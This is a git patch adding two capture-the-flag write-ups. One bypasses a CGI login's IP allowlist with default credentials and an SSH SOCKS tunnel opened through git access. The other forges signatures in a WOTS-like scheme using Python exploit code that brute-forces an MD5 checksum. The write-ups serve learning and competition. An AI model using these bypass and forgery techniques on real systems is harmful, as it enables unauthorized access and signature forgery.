From 27c789d392a97a414d332e32c35755c1f46b3dbc Mon Sep 17 00:00:00 2001 From: msm Date: Sat, 16 May 2020 21:56:34 +0200 Subject: [PATCH] Add writeups for git_the_flag and ots challenges --- .../git_the_flag/README.md | 103 +++++++++++++++ .../ots/README.md | 118 ++++++++++++++++++ 2 files changed, 221 insertions(+) create mode 100644 2020-05-10-spam-and-flags-teaser/git_the_flag/README.md create mode 100644 2020-05-10-spam-and-flags-teaser/ots/README.md diff --git a/2020-05-10-spam-and-flags-teaser/git_the_flag/README.md b/2020-05-10-spam-and-flags-teaser/git_the_flag/README.md new file mode 100644 index 00000000..50d35093 --- /dev/null +++ b/2020-05-10-spam-and-flags-teaser/git_the_flag/README.md @@ -0,0 +1,103 @@ +# git the flag (misc, 96 pts, 58 solved) + +This challenge is a CGI server and served its own source code using git. +The code that we're supposed to hack looks like this: + +```bash +#!/bin/bash +set -euo pipefail +source /etc/config.ini +no_cache(){ + echo -ne "Pragma-directive: no-cache\n"; + echo -ne "Cache-directive: no-cache\n"; + echo -ne "Cache-control: no-cache\n"; + echo -ne "Pragma: no-cache\n"; + echo -ne "Expires: 0\n"; + echo -ne "Content-type: text/html\n\n" +} + +success() { + rm -f /tmp/login_session.txt + cp /proc/sys/kernel/random/uuid /tmp/login_session.txt 2>&1 + echo -ne "Status: 302 Moved Temporarily\n" + echo -ne "Set-Cookie: session=$(cat /tmp/login_session.txt)\n" + echo -ne "Location: /cgi-bin/setup.cgi\n\n" + exit +} + +fail() { + echo -ne "Content-type: text/html\n\n" + + echo "" + echo "Omegalink login" + echo "
" + echo "

Login unsuccessful.

" + echo "

Reason: $1

" + echo "

Click here to try again

" + echo "

This incident will be reported

" + echo "
" + echo "" + exit +} + +parse_query() { + saveIFS=$IFS + IFS='=&' + parm=($QUERY_STRING) + IFS=$saveIFS + + declare -gA query_params + for ((i=0; i<${#parm[@]}; i+=2)) + do + query_params[${parm[i]}]="${parm[i+1]}" + done +} + +check_name_and_password() { + pw_hash=$(echo -n "${query_params[password]}" | md5sum | cut -d ' ' -f 1) + if [[ "${query_params[name]}" != $USERNAME || "$pw_hash" != $PASSWORD_HASH ]]; then + fail "Wrong username or password" + fi +} + +check_remote_ip() { + if [[ ! "$REMOTE_ADDR" =~ $ALLOWED_REMOTES ]]; then + fail "$REMOTE_ADDR is not authorized to enter this site." + fi +} + +parse_query +check_name_and_password +check_remote_ip +success +``` + +There are two checks - check for name and password, and remote_ip. + +The name and password was `admin` and `admin`. The author of this writeup +wasted some time, because the random md5 database he used didn't find it +for some weird reason (even though even google does)... + +Anyway, the second check was harder. It was implemented correctly, so we had to +step back a bit. We remembered, that git clone works via ssh, we had credentials +that authenticated us to the server (to clone the code), and that ssh +allows any authenticated user to create a socks proxy. + +So we quickly create one: + +```bash +$ ssh git@35.234.131.107 -p 22222 -D 9090 "git-receive-pack '/code.git'" +``` + +And then two quick curls (what are webbrowsers for anyway?) are enough ftw: + +``` +curl "http://127.0.0.1/cgi-bin/login.cgi?name=admin&password=admin" -x socks5://127.0.0.1:9090 -vvv +curl "http://127.0.0.1/cgi-bin/setup.cgi" -x socks5://127.0.0.1:9090 -vvv --cookie session=fa3cc064-cf79-4691-a122-9723ae7fc79 +``` + +And the flag is: + +``` +SaF{lmgtfy:"how to serve git over ssh"} +``` diff --git a/2020-05-10-spam-and-flags-teaser/ots/README.md b/2020-05-10-spam-and-flags-teaser/ots/README.md new file mode 100644 index 00000000..9edcde55 --- /dev/null +++ b/2020-05-10-spam-and-flags-teaser/ots/README.md @@ -0,0 +1,118 @@ +# OTS (misc, 105 pts, 51 solved) + +This challenge is a pretty easy crypto challenge. What makes it surprising is +that it's very similar to WOTS which is a real world signature scheme. + +We get a plaintext (something like `My favorite number is 123123123`) and a +valid signature. Our goal is to forge the signature. + +The code (with my refactoring and some debug prints sprinkled in) looks like this: + +```python +class OTS: + def __init__(self): + self.key_len = 128 + self.priv_key = token_bytes(128 * 16) + self.pub_key = b"".join( + [self.hash_iter(chonk, 255) for chonk in chonks(self.priv_key, 16)] + ).hex() + + def hash_iter(self, msg, n): + assert len(msg) == 16 + for i in range(n): + msg = hashlib.md5(msg).digest() + return msg + + def wrap(self, msg): + raw = msg.encode("utf-8") + assert len(raw) <= self.key_len - 16 + raw = raw + b"\x00" * (self.key_len - 16 - len(raw)) + raw = raw + hashlib.md5(raw).digest() + return raw + + def sign(self, msg): + raw = self.wrap(msg) + signature = b"".join( + [ + self.hash_iter(chonk, 255 - raw[i]) + for i, chonk in enumerate(chonks(self.priv_key, 16)) + ] + ).hex() + self.verify(msg, signature) + return signature + + def verify(self, msg, signature): + raw = self.wrap(msg) + print(raw) + signature = bytes.fromhex(signature) + assert len(signature) == self.key_len * 16 + calc_pub_key = b"".join( + [ + self.hash_iter(chonk, raw[i]) + for i, chonk in enumerate(chonks(signature, 16)) + ] + ).hex() + + print("===") + for r, a, b in zip(raw, chonks(self.pub_key, 32), chonks(calc_pub_key, 32)): + print(a, b, chr(r if 32 < r < 128 else 0x20), a == b) + + assert hmac.compare_digest(self.pub_key, calc_pub_key) +``` + +Basically, every byte B is signed by hashing privkey 255-X times, and verified by +hashing the result of the above X times and comparing it with privkey hashed 255 +times (aka the pubkey). + +After understanding what's going on, we immediately notice that we can decrease +any byte in the message and still forge a valid signature (by computing a +hash once). So we can take a valid signature for `My favorite number is 1299072346121938061` +and change it for a signature for `My faflagte number is 1299072346121938061`. + +The only problem is the checksum - there is a md5 sum at the end of the input +that must match the data. We bruteforced the number at the end, so that +every byte of the new md5 will be smaller than the old one, and solved the +challenge. + +Core of the exploit looks like this: + +```python + +def fixup(sign, n, fromwhat, towhat): + frag = chonks(sign, 32) + for i, c in enumerate(towhat): + off = n + i + for _ in range(fromwhat[i] - c): + frag[off] = hashlib.md5(bytes.fromhex(frag[off])).hexdigest() + return "".join(frag) + + +def wrap(raw): + raw = raw + b"\x00" * (128 - 16 - len(raw)) + return hashlib.md5(raw).digest() + +origmd5 = wrap(msg) +podpis = fixup(podpis, 5, b"vori", b"flag") +msg = msg[:5] + b"flag" + msg[9:] + +N = 6 +for rndchrs in itertools.product(string.ascii_uppercase, repeat=N): + rndfrag = ''.join(rndchrs).encode() + msg = msg[:12] + rndfrag + msg[18:] + + newmd5 = wrap(msg) + for a, b in zip(origmd5, newmd5): + if a < b: + break + else: + break + +podpis = fixup(podpis, 12, b"number", rndfrag) +podpis = fixup(podpis, 112, origmd5, newmd5) +``` + +It's unnecessarily complicated, but still got the job done. + +``` +SaF{better_stick_with_WOTS+} +```